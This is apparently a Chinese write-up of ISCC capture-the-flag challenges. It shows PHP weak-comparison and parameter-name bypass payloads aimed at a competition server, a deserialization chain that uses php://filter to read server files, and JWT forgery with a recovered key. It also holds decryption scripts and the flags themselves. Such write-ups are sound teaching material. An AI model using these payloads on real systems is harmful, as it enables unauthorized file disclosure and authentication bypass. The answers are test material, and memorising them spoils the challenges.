半决赛#
回归基本功#
“金铲铲”最强王者选手小睿来到了新赛季“赛博之城”,面对全新的版本,他试图重回最强王者段位,但却总是屡屡失败,他不由感叹:“归根到底还是基本功不够扎实,回归基本功,从代码中找到上分密码flag吧!”
题目中有提示
(注意:需要输入正确的“用户代理”身份标识与英雄名称)
(例如选择“鳄霸雷克顿”,需要输入对应的拼音全称,首字母大写,即“EBaLeiKeDun”)
( “EBaLeiKeDun”(鳄霸雷克顿)与“ShengLingShiZheLeiKeDun”(圣灵使者雷克顿)是不同的答案 )
修改UA头找到下一关内容

<?php
show_source(__FILE__);
include('E8sP4g7UvT.php');
$a=$_GET['huigui_jibengong.1'];
$b=$_GET['huigui_jibengong.2'];
$c=$_GET['huigui_jibengong.3'];
$jiben = is_numeric($a) and preg_match('/^[a-z0-9]+$/',$b);
if($jiben==1)
{
if(intval($b) == 'jibengong')
{
if(strpos($b, "0")==0)
{
echo '基本功不够扎实啊!';
echo '<br>';
echo '还得再练!';
}
else
{
$$c = $a;
parse_str($b,$huiguiflag);
if($huiguiflag[$jibengong]==md5($c))
{
echo $flag;
}
else{
echo '基本功不够扎实啊!';
echo '<br>';
echo '还得再练!';
}
}
}
else
{
echo '基本功不够扎实啊!';
echo '<br>';
echo '还得再练!';
}
}
else
{
echo '基本功不够扎实啊!';
echo '<br>';
echo '还得再练!';
}
?> 基础的弱比较,然后就是传参参数的特性
用_来bypass
http://112.126.73.173:9998/Q2rN6h3YkZB9fL5j2WmX.php?huigui[jibengong.1=1&huigui[jibengong.2=%0A0=0%261=e559dcee72d03a13110efe9b6355b30d&huigui[jibengong.3=jibengong
哪吒的试炼#
哪吒面临一项艰难的试炼,他需要解开封印才能获得最终的力量。
根据提示传参?food=lotus root获得isflag.php路由,f12

得到源码
<?php
if (isset($_POST['nezha'])) {
$nezha = json_decode($_POST['nezha']);
$seal_incantation = $nezha->incantation;
$md5 = $nezha->md5;
$secret_power = $nezha->power;
$true_incantation = "I_am_the_spirit_of_fire";
$final_incantation = preg_replace(
"/" . preg_quote($true_incantation, '/') . "/", '',
$seal_incantation
);
if ($final_incantation === $true_incantation && md5($md5) == md5($secret_power) && $md5 !== $secret_power) {
show_flag();
} else {
echo "<p>封印的力量依旧存在,你还需要再试试!</p>";
}
} else {
echo "<br><h3>夜色渐深,风中传来隐隐的低语……</h3>";
echo "<h3>只有真正的勇者才能找到破局之法。</h3>";
}
?>双写+弱比较绕过
nezha={"incantation": "I_am_the_spirI_am_the_spirit_of_fireit_of_fire","md5": "240610708","power": "QNKCDZO"}
然后找对应关系:明拆分成日,月 日对应sun月对应moon然后月翻转,n去掉即可得到suoom
得到flag->ISCC{suetsueergwooniwwoooowsilrow}
ShallowSeek#
ShallowSeek - 探索已至之境

查看室友带饭问题

查看三个历史记录
出题建议:AI这么火不蹭一下热度?可以从AI相关的输入处理等方向入手,保持题目趣味性和可用性。
实在不行,你还能加点密码学,CTF一家亲嘛!要是不想用经典加密方式,我给你提供个好玩儿的:
以下为示例:
原文:WebIsEasy,密钥:4351332,密文:IbaWEssey。什么加密逻辑?你仔细想想呗。嗯,用户的问题是关于室友A让B带午饭的具体内容,需要确定B应该带什么回来。首先,我需要仔细分析A的微信消息内容:“可以给我带个午饭吗,两个玉米最好,不然就两个馒头,二两牛肉加一个红烧鸡腿。”这里的关键是理解A的请求是否有优先级或者替代选项。
……
总结下来,A可能表达的意思是:
from dininghall import food_species
food = []
if food_species.corn.exist() == 1:
food.append("2 corns")
else:
food.append("2 buns")
food.append("2 pairs of beef")
food.append("1 chicken leg")
而B则认为:
from dininghall import food_species
food = []
if food_species.corn.exist() == 1:
food.append("2 corns")
else:
food.append("2 buns")
food.append("2 pairs of beef")
food.append("1 chicken leg")请你模仿《滕王阁序》,为诸葛亮躬耕地“卧龙岗”写一篇骈文
《卧龙岗赋》
秦川余脉,楚塞遗峰。北望嵩岳之巍巍,南枕汉水之汤汤。岩壑藏云,隐鹿门高士之迹;桑麻蔽野,接隆中耕读之庐。地非膏腴,有嘉禾生陇上;民多朴拙,闻弦歌起林间。时序更迭,春犁破霜泥未暖;星斗回转,夜烛映简册犹寒。
若夫草堂半掩,竹径深幽。篱落疏疏,时见牵牛引蔓;书声朗朗,每随野鹤穿松。荷锄南亩,非耽菽粟之乐;抱膝危石,独怀寰宇之谋。观天象于牛背,察风云于陇头。蓑衣懒问洛阳雨,羽扇遥指赤壁舟。
于是玄德驱驰,殷勤三顾。茅檐低矮,难遮经纬雄谈;鼎足峥嵘,早定江山劫数。新野火飞,初试卧龙鳞甲;江东涛怒,再扬季汉旌旗。八阵图成,石吞吴江雪浪;七弦琴动,音压渭北秋声。祁山月冷,犹照出师之表;五丈原空,长留堕泪之碑。
嗟乎!渭水钓名,终南捷径,岂若此岗之澹泊?功成三鼎,身殒一星,竟全臣节之孤贞。南阳之垄,不种功名种松柏;西蜀之祠,未祀君王祀鱼樵。风过岗峦,似说前朝旧事;霞栖陇亩,如焚季汉余晖。
今我来思,凭轩怀古。木牛流马,已化童竖戏谈;《诫子》《出师》,犹振书生肝胆。岗前柏老,曾荫先生石砚;云外鹤回,可识故国山川?长揖空庭,唯见:
一庐烟雨锁荆襄,
半世风云入酒狂。
垄上星沉八阵寂,
扇头尘落九州凉。
心同渭水苔封鼎,
名共祁山月满冈。
莫道草堂龙已卧,
至今雷动汉家江!直接写解密脚本
def decrypt(a: str, key: str) -> str:
d = [int(x) for x in key]
n = len(a)
i = list(range(n))
o = []
for x in d:
p = x - 1
if p >= len(i):
raise ValueError(f"{len(i)} too short for {x}")
o.append(i.pop(p))
o.extend(i)
r = [''] * n
for c, p in enumerate(o):
r[p] = a[c]
return ''.join(r)
print(decrypt("0@_cu_5_1r3lw@y5wn5!}", "387531189"))
拼接前半段即可
决赛#
谁动了我的奶酪#
有一个输入框 任意输入回显

多次尝试后发现为tom

得到源码
<?php
echo "<h2>据目击鼠鼠称,那Tom坏猫确实拿了一块儿奶酪,快去找找吧!</h2>";
class Tom{
public $stolenCheese;
public $trap;
public function __construct($file='cheesemap.php'){
$this->stolenCheese = $file;
echo "Tom盯着你,想要守住他抢走的奶酪!"."<br>";
}
public function revealCheeseLocation(){
if($this->stolenCheese){
$cheeseGuardKey = "cheesemap.php";
echo nl2br(htmlspecialchars(file_get_contents($this->stolenCheese)));
$this->stolenCheese = str_rot3($cheeseGuardKey);
}
}
public function __toString(){
if (!isset($_SERVER['HTTP_USER_AGENT']) || $_SERVER['HTTP_USER_AGENT'] !== "JerryBrowser") {
echo "<h3>Tom 盯着你的浏览器,觉得它不太对劲……</h3>";
}else{
$this->trap['trap']->stolenCheese;
return "Tom";
}
}
public function stoleCheese(){
$Messages = [
"<h3>Tom偷偷看了你一眼,然后继续啃奶酪...</h3>",
"<h3>墙角的奶酪碎屑消失了,它们去了哪里?</h3>",
"<h3>Cheese的香味越来越浓,谁在偷吃?</h3>",
"<h3>Jerry皱了皱眉,似乎察觉到了什么异常……</h3>",
];
echo $Messages[array_rand($Messages)];
$this->revealCheeseLocation();
}
}
class Jerry{
protected $secretHidingSpot;
public $squeak;
public $shout;
public function searchForCheese($mouseHole){
include($mouseHole);
}
public function __invoke(){
$this->searchForCheese($this->secretHidingSpot);
}
}
class Cheese{
public $flavors;
public $color;
public function __construct(){
$this->flavors = array();
}
public function __get($slice){
$melt = $this->flavors;
return $melt();
}
public function __destruct(){
unserialize($this->color)();
echo "Where is my cheese?";
}
}
if (isset($_GET['cheese_tracker'])) {
unserialize($_GET['cheese_tracker']);
}elseif(isset($_GET["clue"])){
$clue = $_GET["clue"];
$clue = str_replace(["T", "h", "i", "f", "!"], "*", $clue);
if (unserialize($clue)){
unserialize($clue)->squeak = "Thief!";
if(unserialize($clue)->shout === unserialize($clue)->squeak)
echo "cheese is hidden in ".$where;
else
echo "OHhhh no!find it yourself!";
}
}
?>反序列化实现文件读取clue.php
<?php
class Jerry {
public $secretHidingSpot;
public $squeak;
public $shout;
}
class Cheese {
public $flavors;
public $color;
}
$a = new Jerry();
$a->secretHidingSpot = "php://filter/convert.base64-encode/resource=clue.php";
$b = new Cheese();
$b->color = serialize($a);
echo urlencode(serialize($b));

得到(根据源码UA头改一下)


那么再次构造exp 将clue.php换成flag_of_cheese.php即可
得到

得到前一半flag

根据flag1的php文件名解码得到cheeseOne

构造chees2

得到

查看源码发现

解密后发现可能为jwt密钥


user改为admin 将密钥填入

认证成功

进入flag界面

与0x16异或得到flag

ISCC购物中心#
1/1登录非预期了
初始积分99999,在首页中修改前端代码兑换flag
观察前端代码
将hidden删除


获得flag

登录用户管理系统

解密

解密
a = "_EUUmpVxbw#b7uE~&ff7xq%nfSd7sxusk"
b = a.encode('utf-8')
re = bytes([b ^ 0x16 for b in b])
print(re.decode('utf-8'))
安卓-GGAD#
雷电找到关键字符

看源码

查看c.a的返回值

剩下的拿给ai审一下 编写解密脚本
# -*- coding: utf-8 -*-
# RC4 + Vigenère 解密组合脚本
# 作者:你自己
# 功能:恢复最终 flag
# ---------------------- Vigenère 解密 ----------------------
def vigenere_decrypt(text, key):
decrypted_text = []
key_index = 0
for char in text:
if char.isalpha():
key_char = key[key_index % len(key)].upper()
shift = (ord(char.upper()) - ord(key_char) + 26) % 26
decrypted_char = chr(shift + ord('A'))
decrypted_text.append(decrypted_char.lower() if char.islower() else decrypted_char)
key_index += 1
else:
decrypted_text.append(char)
return ''.join(decrypted_text)
def decrypt(text, key='ExpectoPatronum'):
return vigenere_decrypt(text, key)
# ---------------------- RC4 加解密模块 ----------------------
def rc4_ksa(key):
"""RC4密钥调度算法(KSA)"""
if isinstance(key, str):
key = key.encode()
S = list(range(256))
j = 0
for i in range(256):
j = (j + S[i] + key[i % len(key)]) % 256
S[i], S[j] = S[j], S[i]
return S
def rc4_prga(S, data):
"""RC4伪随机生成算法(PRGA)"""
if isinstance(data, str):
data = data.encode()
i = j = 0
result = []
for byte in data:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
t = (S[i] + S[j]) % 256
k = S[t]
result.append(byte ^ k)
return bytes(result)
# ---------------------- 主流程逻辑 ----------------------
def main():
ci = '0100001000110100010001000011001100110111001100110100010000110000001101000011001101000110001101100100010000110000'
c0 = '65489I5Y5S3FD0'
# 第一步:Vigenère 解密
c2 = decrypt(c0)
# 第二步:将二进制字符串转为字符
c1 = ''.join([chr(int(ci[i:i + 8], 2)) for i in range(0, len(ci), 8)])
# 第三步:交错拼接 c1 和 c2
combined = ''.join(c1[i] + c2[i] for i in range(14))
# 第四步:转为十六进制字节数组
byte_array = [int(combined[i:i+2], 16) for i in range(0, len(combined), 2)]
# 第五步:构造8位二进制字符串
bit_string = ''.join(f"{byte:08b}" for byte in byte_array)
# 第六步:按位取反
inverted_bits = ''.join('1' if b == '0' else '0' for b in bit_string)
# 第七步:转回字节流
final_bytes = bytes(int(inverted_bits[i:i+8], 2) for i in range(0, len(inverted_bits), 8))
# 第八步:RC4 解密
S = rc4_ksa('ExpectoPatronum')
plaintext = rc4_prga(S, final_bytes)
# 输出 flag
print(f"ISCC{{{plaintext.decode()}}}")
if __name__ == "__main__":
main()

misc-神经网络迷踪#
看到secret_key.weight

只有output层带bias

import sys, torch, re
pth = sys.argv[1] if len(sys.argv) > 1 else 'C:\\Users\\31702\\Downloads\\attachment-38.pth'
sd = torch.load(pth, map_location='cpu')
bias = sd.get('output.bias')
def to_text(tensor, scale):
nums = [int(torch.round(v*scale)) & 0xFF for v in tensor]
return bytes(nums).decode()

core = to_text(bias, 255) or to_text(bias, 1)
print(f"ISCC{{{core}}}")
misc-八卦#
十六进制查看到7z文件 手动分离

上半部分是gif,下半部分是一个7z的加密压缩包,猜测密码在gif中

拆分gif

查看帧间隔

1. 时间间帧232323#
- 表示六十四卦中的第23卦。
- 第23卦是 剥卦,卦象是:艮下坤上。
2. 存在内容111010#
- 这是一个6位二进制数:111010。
- 将其转为十进制:
111010₂ = 58₁₀ - 对应六十四卦中的第58卦,即兑为泽,卦象是:兑下兑上。
| 卦名 | 编号 | 三爻卦 | 二进制 |
|---|---|---|---|
| 坤 | 0 | ☷ | 000 |
| 兑 | 1 | ☱ | 001 |
| 离 | 2 | ☲ | 010 |
| 震 | 3 | ☳ | 011 |
| 巽 | 4 | ☴ | 100 |
| 坎 | 5 | ☵ | 101 |
| 艮 | 6 | ☶ | 110 |
| 乾 | 7 | ☰ | 111 |
先拼接下卦,再拼接上卦,并按卦编号从小到大。
于是得到压缩包密码
乾乾坤坤坎震艮坎坎乾艮坤兑兑

两次base64解密
